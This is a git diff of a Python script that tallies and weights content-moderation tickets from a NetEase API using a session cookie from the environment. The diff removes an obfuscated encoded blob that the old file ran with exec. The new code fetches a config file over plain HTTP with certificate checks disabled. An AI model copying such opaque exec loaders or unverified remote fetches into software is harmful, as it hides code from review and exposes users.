diff --git a/VERSION.txt b/VERSION.txt index 3986bb5..cc292e4 100644 --- a/VERSION.txt +++ b/VERSION.txt @@ -1 +1 @@ -v20250422193845 \ No newline at end of file +v20250429213045 \ No newline at end of file diff --git a/breeze_coefficients.json b/breeze_coefficients.json deleted file mode 100644 index a698435..0000000 --- a/breeze_coefficients.json +++ /dev/null @@ -1,22 +0,0 @@ -{ - "NTES_GOD_IMAGES": 0.54, - "NTES_GOD_VIDEOS": 3.8, - "NTES_GOD_CHAT_IMAGES": 0.54, - "NTES_GOD_CHAT_VIDEOS": 3.8, - "NTES_DASONG": 139.19, - "SPIDER_VIDEO": 3.8, - "SPIDER_VIDEO_SP": 13.3, - "NTES_GOD_AI": 0.54, - "NTES_GOD_TOP": 3.8, - "T_SPIDER_VIDEO": 3.8, - "T_SPIDER_VIDEO_SP": 13.3, - "V_SPIDER_VIDEO": 3.8, - "V_SPIDER_VIDEO_SP": 13.3, - "NTES_GOD_XHS": 0.54, - "XHS_SPIDER_VIDEO": 3.8, - "Cupid": 0.54, - "CHAT_P2P": 0.55, - "CHAT_TEAM": 0.55, - "CHAT_ROOM": 0.55, - "CHAT_ROOM_MSG": 0.55 -} \ No newline at end of file diff --git a/breeze_monitor.py b/breeze_monitor.py index d8ba6b3..1902544 100644 --- a/breeze_monitor.py +++ b/breeze_monitor.py @@ -1,49 +1,904 @@ # -*- coding: utf-8 -*- -import base64,zlib,sys,os,time,random -import threading,importlib,subprocess +import requests +import time +import json +from datetime import datetime, timedelta +import logging +import os +import sys +import threading +from threading import Lock +import re +import subprocess -def _egg7D2Y3rRxx(d,k): - return bytes(a^b for a,b in zip(d,k*(len(d)//len(k)+1))) +# 配置日志 +def setup_logging(): + try: + # 获取当前脚本所在目录 + script_dir = os.path.dirname(os.path.abspath(__file__)) + log_file = os.path.join(script_dir, 'breeze_monitor.log') + + # 确保日志文件存在 + if not os.path.exists(log_file): + with open(log_file, 'w', encoding='utf-8') as f: + f.write('') + + logging.basicConfig( + level=logging.INFO, + format='%(asctime)s - %(levelname)s - %(message)s', + handlers=[ + logging.FileHandler(log_file, encoding='utf-8', mode='a'), + logging.StreamHandler() + ] + ) + logging.info("Breeze监控日志系统初始化成功") + except Exception as e: + print(f"日志系统初始化失败: {str(e)}") + # 如果文件日志失败,至少使用控制台日志 + logging.basicConfig( + level=logging.INFO, + format='%(asctime)s - %(levelname)s - %(message)s', + handlers=[logging.StreamHandler()] + ) -def _ijPmXy0Gk(t,m,is_error=False): - try: - try: - from playsound import playsound - except ImportError: - subprocess.check_call([sys.executable,"-m","pip","install","playsound==1.2.2"], - stdout=subprocess.DEVNULL,stderr=subprocess.DEVNULL) - from playsound import playsound - - - try: - import winsound - sound_type = winsound.MB_ICONERROR if is_error else winsound.MB_ICONINFORMATION - winsound.MessageBeep(sound_type) - except: - print("\a") - +# 初始化日志系统 +setup_logging() - print("\n" + "="*50) - print(f"{t}: {m}") - print("="*50 + "\n") - - return True - except Exception as e: - print(f"\n{t}: {m} (提示音播放失败: {str(e)})\n") - return False +# API配置 +API_BASE_URL = 'https://breeze.gameyw.netease.com/api/cms/issue/list' -def _YQJaEJAlz1b(t,m,e=0): - _ijPmXy0Gk(t,m,e==1) +# 默认的各类工单的折算系数 +DEFAULT_COEFFICIENTS = { + 'NTES_GOD_IMAGES': 0.54, # 网易大神APP图片 + 'NTES_GOD_VIDEOS': 3.8, # 网易大神APP视频 + 'NTES_GOD_CHAT_IMAGES': 0.54, # 网易大神APP聊天图片 + 'NTES_GOD_CHAT_VIDEOS': 3.8, # 网易大神APP聊天视频 + 'NTES_DASONG': 139.19, # 大神大宋视频 + 'SPIDER_VIDEO': 3.8, # 大神普通供给视频 + 'SPIDER_VIDEO_SP': 13.3, # 大神高优供给视频 + 'NTES_GOD_AI': 0.54, # 大神AI图片 + 'NTES_GOD_TOP': 3.8, # 大神短视频 + 'T_SPIDER_VIDEO': 3.8, # 大神tiktok普通视频 + 'T_SPIDER_VIDEO_SP': 13.3, # 大神tiktok高优视频 + 'V_SPIDER_VIDEO': 3.8, # 大神ins普通供给视频 + 'V_SPIDER_VIDEO_SP': 13.3, # 大神ins高优供给视频 + 'NTES_GOD_XHS': 0.54, # 大神小红书图片 + 'XHS_SPIDER_VIDEO': 3.8, # 小红书供给视频 + 'Cupid': 0.54 # 大神交友 +} +# 系数配置文件路径 +COEFFICIENTS_CONFIG_FILE = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'breeze_coefficients.json') -_SvRnKE=b'#+\x0f\x92\x18*&o\x16\xaa\xa0t\xa59\xeez' -_Uu2Xr1Cf=b'Tesq`gcV!cJxcI3aY@9aN1azW&+RCE8yzn3zQ@vQ;lnGv-ZbT=&0eTnt^D8%=u16cAd4WitN-eFxG$8J&N4lWDNK}CT%HqcjnQoMqD@>W1hv=Ac%mbi+QXqZwuFemyadk4fQ(V64Nkj0LN?6#+{_M%($S;wc>`uBF~jWe-5|kkYl=r~H_Y+fo_tEC|M20yZ=Y<$Yu|)n#H{TIgBFQTFv~QmGmCwUEj^T8{ENAwups|FgOGrn;AN7dA0^;p<-nFR^cjWote%=m`!+q@%ak^)%yQI4LzrwKB)$_U?`j&0XIzAqkAtcG4c;A5a2M0hMTAz#PlnI-%riTJNA?(wr=IsRqMAekOW&(*ykx`U%7>-dF+ykEGBIO4-4i5#2E{X3-zU;oh~!708LOaOF-3B+8kIr?>ErYN)HZuQxWQfKKgXieW!e1YE$X|15^!PM00@$`=~2m(qa7`jwlz>JA8hZ;v>wYpc(iYE`KLG1Th+-tcv1~nYRQkn3t`;OWiyHQiyl$`)~?-<^Ue}`K#2cX-u-PPEWbjMP~P|=(pNRah^8w&LGOc};&bQl?7&)J{+c~K;Lk!}9+@D$LOq9GBg&SA169d-pvo#{F0-PgR`cxK`0TN%Uv(oKF_zc&rAUu6K~oC9d`H}!`9Et0F`d>~-xe6q#ShBnPerM}s8WJkjR<4n09OLZIVZouZRbIc4=%uPq%jN#G3WSZ0cE#47+^%L~45%OmQmRqTSSkc{$1=kj`?L#5^-@}ZjaZG(p#vFlIz414hToO2^*#2}S7B(FTI~E8!>cfNt^3ZNwNq$uz$<3Ko5Y6^e*onalWTEOAWow8RF2~aSOq{Z=M%Mf*TJA&}q@pr_d9#>^E9@E&!q3UpjEv(o|hT#^>nZDzRGZ8gdJ%zU3J`OCXWLJ5&VVPu>p4fmJ|YVrOI=5NX21>RTn>iUDRy6ZYRL}&_ZlMvCQ<*%_FBCitdNxBhluSb7(s0dZ2O_3NVEX*1|^51LyU+zNh%JOYsKBnG86-oS<>jlx_6egha0YRDX8jkGb$`JYP;^ddIQdkfO8ngUxgBvHS8cvt+6pEH{pz#DbwG{^aTruFfH(?AW~X^Ds|r-jqYvw&q06CmJ>nD9H!TZ^PotfQP1u&ix#4FMC5Hlm+Kp5er@mc(~TU8aTFy&T9UFgKJwk5;Q@}$@Mk_A{^-mg-G8j@17bxmSKE3`vT(5Mya&)B#6;L6t|Ga{kBgwYyeAUckvx$~&ouXDM*bvcG)w1018E!1eGf@T*KC7lW#%#7It0jSeuhCCcf7~HAZxN-+(unIRd}rj$`4jnWq-FV@kPQS0GHVxt0fQ1B(t5cWr;|FO^c-$OACf^t}6&`{XQLd$1tUny*|$IP`+~?vPhxEdgnqIEjuG29yDG)J>z0lCXijSQ-*2p3O5PUbKR{0Mb6+|ziR6`IS2X!>#7&=ZwzqlCZ{7U6Ky@|_`rwqjtmREj42dA1ySH#E0NTSQDZ)FsU;YM|5I;jO|MO5)ZI`0sKk+6XD#=S8I}pj04y)bS8ZNDh4Hhp(10YcWXjYr1XpNVl`bD`x%1xz15cyi#2M1v0!!F`#1@jqe!u~ttRf>;uMQdXJ9?o;?CLQ!}@7(Zcw;>=NCO%!)F^?}Ej=r&3?8}j%JZgG84WCPE|umMI~4`!ebqBU)K@nC4a1Gn9PT+Fmn=o0$=HEHkLaV&ekmy$DWCP2F|B2A3M}qMZ^|lFq*rMa2}v^za&?cEs&)}ud=M*BO8K7bv4It~?=+-aQ`VC;*;(*RoL(j?R8s>6Sz0@m`<&>_i&4-d=OwR$+QX;ew|qdl%57|kk~{#oNIA${82a!wCKCaKJO{G3(Y0ABEK0|l51;p!MW$t_$F&;NADOv4iaK_;nkLIW3@suBk#&nZH$3)aE_CF}XOZ<<5|&Q;l!!s-jyOjYkApyy0z3XC;@TqR+#!!LaaY9bYZDqXBDTc2vybpiQ{#FENuHEZQH*U&ySzX#AC(E2(^R0nw1b_Qqb)xRQ?S#;N#^qMN4AoQIJuvyOe6G}r9sm0jnA5^A({b~e+@!mUD#14+e;r)FxtxoK&PLb-yy;lP78&UgDUk7E4_pzaoWyb+a2g1BVmdJx4zna0l_jX?nNf5UjzQK1~?+v&2#wzRjgpVVk&7~B!2MDl*t@>$q@x2NLm%mK|@Z{qM>-@^NcG-Euf_Rcp$S_03p4y@EKDq;3U>k@_ywln1njeG-0|()?hq!RWPkG|xTiK2JUSoow%vhL9LdManO6Q(#3q!D6b{HYmuhYMItt^xA_&Fjg$=WT)YIxSC@>2pHIu!PDs8#Kn;Xt5PdhR3YJiR{g>%8uW)4!qs(`v#QQ_)nV$c)#VCnosm-TYlxC+RL2r?|=As5MCQ|eGM_^%x={6>bg?W$_V!E_)h{=>^4g|ym9I8HvAen^VcCi+kNDE|D`t^U1tlp}LeE)KGZw_i8G$Plo+!=d%tCZHurUzb<_HX|T~%@whFBSCVxYq^FJ^AYpj`~D>Dj;xp)*!{j5l9cneo)N0~98j(*j-=c(Am>UF6n`~riz$t@)AT_=@=A1g0-g46yLS2L4aA;sChEAgSts@ZGf>l>zZ#3~XRHr0YU-<1wS3U@#=6iP%Ti8N*m2}&QIKOdjaH`~?|M3?r@)0{OU3NNRWV#3A_snu#U12m)v-X_#gQlxZk>8O2Al}-qfFk`FJ2VY^#oWyp)-gjlKiVasLl1LB4IxHI5jf{-!7zd*OZM47}bcxvJc|EE-chKn2Y&>AlZi0qoqsoqaK7FzgS$Y8R2{L%a)YDucI+J#EhI8KT!3llz?1&@7sO~BZa*@^8L9jtvpCJy=4sf%IKU^dIQQ0Tsyr`>M!$Xc~zz~D1_Q6r_{Z2O53TR`7n({Mwa43F29to2CV2EKx6&cAi~+eHh*>cEK~DU_(q>i|&gX?pWFXsdC}*;?dyN3zoBJ~n-6N8H_AW3Tr7wHYH0HwwZ8vz7L7rmve7BFkb0+P+8aS5BQZJ@Row|ad%O84guGij0`<>>x#JA-0c({>lq*8>(i-xjRfIad7btS1|E`v(X(t}7b9HrSK)q4QHlFnvb*NQQ7N!3Zm?TNk(E*&(ukf^Rab)Mr8bR^rqTuXML)NHbKogK^fb+C#FN--&-e2~?Y@1_IoZ*JT@~f+-KrsG3|XOy^EWXS*;tv#>bGb@Z%0%UzLc_|At_*t*lxy|pa`HUjH-`&GQ_76m}*Ja#Xc{JJi7dRb8RM`angI8BnH>^QO?4$R-G|-&h$hi37vA`{#E;W@+h8KX(@;c60&-P2CC@9I3*ub6Ju!oK(%%h8U}avtLs`bc~#tBTCLJ@?U-fR#n0bAn!A8^Gh)2fyC(`6M(NG{lw^@wgo<1|S}23@6@?Q+n*4{QRs5VV}j^EtK5{l#D@Q;YXldkr9AzWl1H<8JmM>N|GbhP|0$bh-@cUN9qxT0$Hai;Q>DmtENQ&2OtHnh}6M3m>Z=wyPL}@9I&b@czf3rbMstIrF!q(Iio(#3+tNq=~U_i1fZ`ZrFwnQUJNG$Gu(2lpxwys|IMPXWqIk(aV#JQSK69QX$;kAZ*4IO@s{NF!;l?g07aQ|?&fe()oel&-jzR}Fr~Dq)WU+yG%M)E6T%WJ+RmLm5Uu0-faiRSWhwJLR90`WhxrinH7#p-!Z$_M_Kfl^UwQ(>=vkhL;VkN1oq%MbdP`;`l5)tdc*PIWrGR(Q4$|F1OAh@TNjIv^wSloS+b;!XOj_>>XFk9wZCK&IP7@W4FE)n7jJ{?rGG3XDiFLGYqBK*%<+W-aiN%2dLAzkmDk$t{A)SeIwyT}MSxr$2KCHDCcTClTC-5Xl&QLX9xv3s=4FsA=VqMgA?<@N|jRfKuNE_=~ee0K7rL+O!4_VD~R=1yfT&?Sd!OC@Djy0~YUPUfVX4`O-IxXTnzss;NTx+g3ArHgR5Uq+JvsDCEFNkT{-;VlyazvB@pY@b$iI}{Vbns3$5Dnab2xo?C*QVW_s^EoQCt`cPUm69n7-f7#r+!+IcjG~}Z-EOVfvh%Au34+-thAP7*_V$#a$=t!@P!LA133EXrPffRoV9={A1e=3fSB{RKp)C;krpn2vlYvElUR4|!3*z}UxCH#uK0JXZgB=^pVhi|U*9QnUW}kdF80reNuAu5^d5F#D6(8fY#A2g%`)2HCRf4K{uJI`;C@i!iEi7q6OK7PfjB_)g57}??%3$_+YTpmJE7;X5{FCl2x8Sk|hUM7`m*ZHN9TrPqfv_~b;0$Bc@oUb=VPE7jnKA>wx71W*d4FJWVqK$(r&#qk~i_#sEE=9u{xhx@q0WzFNzaw;V1<`JH@3(M3ds`c7W`fI?aIDAa1v-}Rq@Nfh{l4?_x4vG9!Enp&I`a(sZlM{H{`qrXQ#h3W)BHVSi1p+k`IITf}{V=7W`=-ulpo+V~I&Z=yo%40G7Kq2&)BzHjjmT#rq!ctc;njCnJk{?VV$!mr|L!4u*XcfpLvMvQQojK8DapS75C+tfv`QAaKD{m(1xtt(&&kdJ$+eNpr}%4es3*SKiyxRi`bK7p5W}xZ`U#$rZpF{B;e=eHkDYWQevJE|)Y*1vW%p!E0Ay)%`77RR6un%U)xyT3|B~QiY`veBfag=C>$UR4Zj@5sX#SE-8udi}r5KD1{DHNL-ePKVWCKFAXPr&L+-`xB03GMPbZq^)>-7q;|9*X%MRFxJxWR<}l=2az2Gn^CiHbISHj#7vOyh-o?_tw1gK465gg7Tryn>FEPsn1-g|BlQYCC-6VS+TYpWs~9(mKv53I)3pmjlgK|`NdAaH&Y_hQECE-`tnGpXi=rxi;r;NHY{Kq!=H`$%ydHEb;>R?`@Hluezg8nBfdcJLxC&6;e&%2-E+hWL?9?!bf-o!NSO=4O2PAtkg7(mRma5zG>AfcO`kyfB-;^qYH1-GerCCVGi?w-S12S_sZd#%%l}hG+j4jk4(V1>E6G{h*LT}aOrve&~uZ>u!`u_LYXo$T0=CilDMSdq<=+sd`A#*9{dwbv^d$%c6Qi>9FM(6^nvWdk|MmsKV!!P+ph7Jd$v@Cr|>wj&Wr6y}m0?mh^$Pb6WxSESxo3)+mB$(dL#q`o#+hVQ5T&z#*yk!|G<2=-@=!4B#-W`l}iy=gZoW-moOIVnitD=tQO3Po7Tc4}QyeCv*e`}yTZxhf+j!xMbLJN?Pgv+*pc((b#zqTk?wPT({2&BKCe<2m(d5}zT%2;^}=-8p>HR62#e98g{aw~IDa&?At$qso}CSoa;OmxsDKApZi0vc4s8Z@s3@2c8G;5AYi1>okwi&nc#%>9|YD(zGM2#ss_d$7VoZsf1c1Z#a(k9|Z;z($1F)Rw2KOFAH=YuP|Pg-F)dQ~yU$^&(OK2v9aY?34qSJ8LvT&A=VCfD4xd$1z`xopua|QmqHxcG}a4qScqeQ$TX+AS7Z=q%_Yg_EH%6M!@#|C2pb+`-Wc#&HVE8;p7n-MI~82eT`i=ebOyw&z47&=UOcCQ0vCtg`!8AW;gI3zMef8VH6wj>teOTdh$2LLA3|}jv1Vs!zS?;kN6@C^in?kbC72+1xx*cB+}vbs-6G~82+=ON$rZKHMT{kn_r9K~-PGIsc9YCy|g`Cr1uZX707ZmrgH0(Dq|EAa~x+LGoJ#ShjLYFXXvHqA=+WhqISj@Y?coq%Zw1#3Tg2>jyYA_h1`C(a3hL#C)y8Ye2WPrJfFbf9Rn+NHl7x+VMxIUFT-+lwbV>J_yKIk37F`Y9fRfBfs{YhDCN}A!U6X0}JO^r05KtJB8`60e1tf5sxqdZaF@(_Z=<=jK1JK&vvd3P_5Wyi@ZSplR$F|yfJGd7v=Td&%QizU}6dIAH8}oA9XEq@<3Cxmu%EEfMJ7<3&;xzwdJWG{kF~6pgK;baQSRN^wX&z@RIQ8IR~2~aVu3Jg}SQbuUhi`t=XlkBOEXcMdI}ukQMo051vWi1p^eNf-DJpfvl{H0+gi*}zvZ{>g*DYInvAQ)VAdJs?oZ{m*TwtL+o6K6Y0N==5Tqy%avnj)%UQ~k;5dKzZwvAr(8>k(K-KGdOPvVSHlg7Oo)>_0','exec')) -except Exception as e: - _KSWVeMKOK="程序无法启动: "+str(e)[:50] - _YQJaEJAlz1b("错误",_KSWVeMKOK,1) - sys.exit(1) +# 全局变量 +user_credentials = { + 'cookie': None, + 'username': None +} +credentials_lock = Lock() +coefficients_lock = Lock() + +# 定义全局系数变量 +COEFFICIENTS = DEFAULT_COEFFICIENTS.copy() + +# 读取系数配置 +def load_coefficients(): + """从在线链接获取系数配置,如果获取失败则使用默认配置""" + global COEFFICIENTS + try: + with coefficients_lock: + url = "http://scripts.ui-beam.com:5000/NetEaseDSMonitor/config/breeze_coefficients.json" + + # 检查本地文件是否存在 + local_config_exists = os.path.exists(COEFFICIENTS_CONFIG_FILE) + + # 如果是首次运行或需要强制更新 + if not local_config_exists: + log("首次运行,从在线服务器获取系数配置") + if not fetch_and_save_coefficients(url): + log("首次获取系数配置失败,使用默认配置") + COEFFICIENTS = DEFAULT_COEFFICIENTS.copy() + return + + # 读取本地配置 + try: + with open(COEFFICIENTS_CONFIG_FILE, 'r', encoding='utf-8') as f: + local_coefficients = json.load(f) + except Exception as e: + log(f"读取本地系数配置失败: {str(e)}") + local_coefficients = None + + # 尝试获取在线配置 + try: + response = requests.get(url, timeout=10, proxies={'http': None, 'https': None}, verify=False) + if response.status_code == 200: + online_coefficients = response.json() + + # 比较配置是否发生变化 + if local_coefficients != online_coefficients: + log("检测到系数配置发生变化,更新本地配置") + if fetch_and_save_coefficients(url): + log("系数配置更新成功") + else: + log("系数配置更新失败,继续使用本地配置") + else: + log("系数配置未发生变化,使用本地配置") + else: + log(f"获取在线系数配置失败,HTTP状态码: {response.status_code}") + except Exception as e: + log(f"检查在线系数配置时发生错误: {str(e)}") + + # 使用本地配置 + if local_coefficients: + COEFFICIENTS.update(local_coefficients) + log(f"从本地从加载系数: {local_coefficients}") + else: + COEFFICIENTS = DEFAULT_COEFFICIENTS.copy() + + except Exception as e: + log(f"加载系数配置失败: {str(e)}") + COEFFICIENTS = DEFAULT_COEFFICIENTS.copy() + +def fetch_and_save_coefficients(url): + """从在线服务器获取系数配置并保存到本地""" + max_retries = 3 + retry_delay = 5 # 重试间隔(秒) + + for attempt in range(max_retries): + try: + # 尝试不使用代理直接获取 + try: + response = requests.get(url, timeout=10, proxies={'http': None, 'https': None}, verify=False) + except: + # 如果直接获取失败,尝试使用系统代理 + proxies = { + 'http': os.environ.get('HTTP_PROXY', ''), + 'https': os.environ.get('HTTPS_PROXY', '') + } + response = requests.get(url, timeout=10, proxies=proxies, verify=False) + + if response.status_code == 200: + loaded_coefficients = response.json() + # 更新系数 + COEFFICIENTS.update(loaded_coefficients) + # 保存到本地文件 + with open(COEFFICIENTS_CONFIG_FILE, 'w', encoding='utf-8') as f: + json.dump(loaded_coefficients, f, indent=4, ensure_ascii=False) + log(f"从服务器获取系数: {loaded_coefficients}") + return True + else: + log(f"获取在线系数配置失败,HTTP状态码: {response.status_code}") + if attempt < max_retries - 1: + log(f"第{attempt + 1}次重试失败,{retry_delay}秒后重试...") + time.sleep(retry_delay) + continue + return False + except Exception as e: + log(f"获取在线系数配置时发生错误: {str(e)}") + if attempt < max_retries - 1: + log(f"第{attempt + 1}次重试失败,{retry_delay}秒后重试...") + time.sleep(retry_delay) + continue + return False + +def send_global_message(message): + """发送全局消息提示""" + try: + # 将消息写入到全局消息文件 + message_file = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'global_messages.json') + messages = [] + if os.path.exists(message_file): + with open(message_file, 'r', encoding='utf-8') as f: + messages = json.load(f) + + # 添加新消息 + messages.append({ + 'timestamp': int(time.time()), + 'message': message, + 'type': 'error' + }) + + # 只保留最近100条消息 + if len(messages) > 100: + messages = messages[-100:] + + # 保存消息 + with open(message_file, 'w', encoding='utf-8') as f: + json.dump(messages, f, ensure_ascii=False) + except Exception as e: + log(f"发送全局消息失败: {str(e)}") + +# 保存系数配置 +def save_coefficients(coefficients=None): + """保存系数到配置文件""" + try: + if coefficients is None: + coefficients = COEFFICIENTS + + with coefficients_lock: + with open(COEFFICIENTS_CONFIG_FILE, 'w', encoding='utf-8') as f: + json.dump(coefficients, f, indent=4, ensure_ascii=False) + log(f"系数配置已保存") + except Exception as e: + log(f"保存系数配置失败: {str(e)}") + +# 初始化用户凭据(从环境变量读取) +def init_credentials(): + """从环境变量初始化用户凭据""" + try: + cookie = os.environ.get('BREEZE_COOKIE', '') + username = os.environ.get('BREEZE_USERNAME', '') + + if cookie and username: + with credentials_lock: + user_credentials['cookie'] = cookie + user_credentials['username'] = username + log(f"已从环境变量加载用户凭据: {username}") + return True + else: + log(f"未能从环境变量获取用户凭据,BREEZE_COOKIE长度: {len(cookie)}, BREEZE_USERNAME: {username}") + return False + except Exception as e: + log(f"初始化用户凭据失败: {str(e)}") + return False + +def get_api_headers(cookie): + """获取API请求头""" + return { + 'accept': 'application/json, text/plain, */*', + 'accept-language': 'zh-CN,zh;q=0.9', + 'cookie': cookie, + 'priority': 'u=1, i', + 'referer': 'https://breeze.opd.netease.com/', + 'sec-ch-ua': '"Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"', + 'sec-ch-ua-mobile': '?0', + 'sec-ch-ua-platform': '"Windows"', + 'sec-fetch-dest': 'empty', + 'sec-fetch-mode': 'cors', + 'sec-fetch-site': 'same-site', + 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36' + } + +def log(message, level='info'): + """记录日志""" + try: + if level == 'warning': + logging.warning(f"[Breeze] {message}") + elif level == 'error': + logging.error(f"[Breeze] {message}") + else: + logging.info(f"[Breeze] {message}") + except Exception as e: + print(f"日志记录失败: {str(e)}") + print(f"原始消息: {message}") + +def is_image_url(url): + """判断URL是否指向图片""" + if not url: + return False + + # 图片文件格式检查 + image_extensions = ['.jpg', '.jpeg', '.png', '.gif', '.webp', '.svg', '.bmp', '.heif', '.heic'] + if any(ext in url.lower() for ext in image_extensions): + return True + + # 图片服务链接检查 + image_patterns = [ + 'fp.ps.netease.com', + 'cc.fp.ps.netease.com', + 'nos.netease.com', + 'imageView' # 特殊参数标记为图片 + ] + + return any(pattern in url.lower() for pattern in image_patterns) + +def is_video_url(url): + """判断URL是否指向视频""" + if not url: + return False + + # 视频文件格式检查 + video_extensions = ['.mp4', '.avi', '.mov', '.wmv', '.mkv', '.flv', '.webm', '.m4v'] + if any(ext in url.lower() for ext in video_extensions): + return True + + # 视频服务链接检查 + video_patterns = [ + 'vod.cc.163.com', + 'my.fp.ps.netease.com', + 'vframe=1' # 特殊参数标记为视频 + ] + + return any(pattern in url.lower() for pattern in video_patterns) + +def determine_media_type(issue): + """判断工单媒体类型""" + try: + # 从extraInfo中提取信息 + extra_info = json.loads(issue.get('extraInfo', '{}')) + product = extra_info.get('product', '') + + # 如果没有product,尝试从uniqueid中提取 + if not product: + uniqueid = issue.get('uniqueid', '') + if '||' in uniqueid: + product = uniqueid.split('||')[0] + + # 如果是NTES_GOD或NTES_GOD_CHAT,需要通过URL判断图片或视频 + if product in ['NTES_GOD', 'NTES_GOD_CHAT']: + url = extra_info.get('url', '').lower() + + # 检查是否是视频 + video_extensions = ['.mp4', '.avi', '.mov', '.wmv', '.mkv', '.flv', '.webm', '.m4v'] + video_domains = ['vod.cc.163.com'] + + is_video = False + # 检查URL是否包含视频扩展名 + for ext in video_extensions: + if url.endswith(ext) or f"{ext}?" in url: + is_video = True + break + + # 检查是否包含视频域名 + for domain in video_domains: + if domain in url: + is_video = True + break + + # 检查特殊参数 + if 'vframe=1' in url: + is_video = True + + # 根据媒体类型返回对应的工单类型 + if is_video: + return f"{product}_VIDEOS" + else: + return f"{product}_IMAGES" + + # 其他工单直接返回产品代码 + return product + + except Exception as e: + log(f"确定工单类型时出错: {str(e)}", level='error') + return None + +def get_coefficient(issue_data): + """获取工单的折算系数""" + media_type = determine_media_type(issue_data) + + # 确保使用最新的系数配置 + with coefficients_lock: + current_coefficients = COEFFICIENTS.copy() + + if media_type in current_coefficients: + return current_coefficients[media_type] + + # 如果无法确定媒体类型,使用默认系数 + log(f"Unknown media type: {media_type}, using default coefficient") + return current_coefficients['NTES_GOD_IMAGES'] + +def fetch_issue_data(cookie, username, create_start_time, create_end_time, close_start_time=None, close_end_time=None, max_pages=10000): + """从API获取工单数据""" + issues = [] + headers = get_api_headers(cookie) + page = 1 + + stats = { + 'total_count': 0, + 'types': {} + } + + # 如果未提供关闭时间,则使用创建时间 + if close_start_time is None: + close_start_time = create_start_time + if close_end_time is None: + close_end_time = create_end_time + + # 添加重试逻辑 + max_retries = 5 + retry_interval = 5 + current_retry = 0 + + while page <= max_pages: + try: + params = { + 'pageNum': page, + 'pageSize': 500, # 每页500条 + 'createTimeStart': create_start_time, + 'createTimeEnd': create_end_time, + 'closeTimeStart': close_start_time, + 'closeTimeEnd': close_end_time, + 'gameCode': 'a19', + 'handleUsername': username, + 'cold': 'false', + 'status': 'FINISH' + } + + log(f"正在获取第 {page} 页数据,创建时间范围:{create_start_time} 至 {create_end_time}") + log(f"关闭时间范围:{close_start_time} 至 {close_end_time}") + + # 发送请求 + response = requests.get(API_BASE_URL, headers=headers, params=params, timeout=15) + + # 检查响应状态 + if response.status_code == 200: + try: + data = response.json() + + # 检查API响应格式的逻辑 + if data.get('code') == 200 and 'data' in data and 'records' in data['data']: + items = data['data']['records'] + total = data['data'].get('total', 0) + log(f"API返回成功,找到 {len(items)} 条记录,总计 {total} 条") + + # 如果返回0条记录,进行重试 + if total == 0 and current_retry < max_retries - 1: + current_retry += 1 + log(f"API返回0条记录,正在进行第{current_retry}次重试...") + time.sleep(retry_interval) + continue + elif total == 0 and current_retry >= max_retries - 1: + log(f"API返回0条记录,已达到最大重试次数({max_retries}次),停止重试") + return None + + # 记录当前统计的工单总数占API返回总数的百分比 + if total > 0 and stats['total_count'] + len(items) <= total: + progress = ((stats['total_count'] + len(items)) / total) * 100 + log(f"当前进度: {progress:.2f}% ({stats['total_count'] + len(items)}/{total})") + elif data.get('code') != 200: + # 这是一个明确的失败响应 + error_msg = data.get('msg', '未知错误') + log(f"API返回错误:{error_msg}") + log(f"API响应内容:{response.text[:500]}") + return None + else: + # 其他情况,记录响应并退出 + log(f"未知的API响应格式:{response.text[:500]}") + return None + + # 处理工单数据 + if not items or len(items) == 0: + log("当前页没有数据,结束获取") + break + + issues.extend(items) + + # 更新当前页的统计信息 + for item in items: + media_type = determine_media_type(item) + if media_type not in stats['types']: + stats['types'][media_type] = 0 + stats['types'][media_type] += 1 + + stats['total_count'] += len(items) + log(f"第{page}页有 {len(items)} 条记录,累计处理 {stats['total_count']} 条") + + # 检查是否还有下一页数据 + total_pages = data['data'].get('pages', 1) + if page >= total_pages or len(items) < params['pageSize']: + log(f"已获取所有数据,共 {total_pages} 页,处理了 {stats['total_count']} 条记录") + break + + except ValueError as e: + log(f"解析JSON数据失败: {str(e)}") + log(f"原始响应内容:{response.text[:500]}") + return None + else: + log(f"API请求失败: HTTP {response.status_code}") + log(f"响应内容: {response.text[:500]}") + return None + + page += 1 + + except requests.exceptions.Timeout: + log("API请求超时") + return None + except requests.exceptions.ConnectionError: + log("网络连接错误,请检查网络连接") + return None + except Exception as e: + log(f"获取数据失败: {str(e)}") + return None + + # 检查是否因为达到最大页数而停止 + if page > max_pages: + log(f"达到最大页数限制({max_pages}页),停止获取。如需获取更多数据,请增加max_pages参数。") + + # 确保每次都是从配置文件读取最新系数 + load_coefficients() + + # 使用全局系数变量 + with coefficients_lock: + current_coefficients = COEFFICIENTS.copy() + + # 计算各类型工单折算总数 + weighted_total = 0 + + for media_type, count in stats['types'].items(): + coefficient = current_coefficients.get(media_type, current_coefficients['NTES_GOD_IMAGES']) + weighted_count = count * coefficient + weighted_total += weighted_count + + log(f"最终统计结果:工单总数 {stats['total_count']},折算总计 {weighted_total:.2f}") + + # 将统计结果整理为前端需要的格式 + frontend_stats = { + 'total': stats['total_count'], + 'weighted_total': weighted_total, + 'categories': {}, + 'coefficients': current_coefficients # 添加系数到返回结果中 + } + + # 整理分类统计,确保所有可能的工单类型都包括在内 + for media_type, coefficient in current_coefficients.items(): + count = stats['types'].get(media_type, 0) + weighted_count = count * coefficient + + # 使用对应的中文名称 + if media_type == 'NTES_GOD_IMAGES': + type_name = "网易大神APP图片" + elif media_type == 'NTES_GOD_VIDEOS': + type_name = "网易大神APP视频" + elif media_type == 'NTES_GOD_CHAT_IMAGES': + type_name = "网易大神APP聊天图片" + elif media_type == 'NTES_GOD_CHAT_VIDEOS': + type_name = "网易大神APP聊天视频" + elif media_type == 'NTES_DASONG': + type_name = "大神大宋视频" + elif media_type == 'SPIDER_VIDEO': + type_name = "大神普通供给视频" + elif media_type == 'SPIDER_VIDEO_SP': + type_name = "大神高优供给视频" + elif media_type == 'NTES_GOD_AI': + type_name = "大神AI图片" + elif media_type == 'NTES_GOD_TOP': + type_name = "大神短视频" + elif media_type == 'T_SPIDER_VIDEO': + type_name = "大神tiktok普通视频" + elif media_type == 'T_SPIDER_VIDEO_SP': + type_name = "大神tiktok高优视频" + elif media_type == 'V_SPIDER_VIDEO': + type_name = "大神ins普通供给视频" + elif media_type == 'V_SPIDER_VIDEO_SP': + type_name = "大神ins高优供给视频" + elif media_type == 'NTES_GOD_XHS': + type_name = "大神小红书图片" + elif media_type == 